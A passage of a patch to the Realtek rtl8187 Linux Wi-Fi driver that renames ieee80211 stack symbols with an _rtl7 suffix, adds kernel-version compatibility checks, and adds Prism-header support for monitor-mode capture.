ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_module.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-08-12 13:11:32.000000000 -0400 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_rx.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-08-12 13:11:32.000000000 -0400 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular 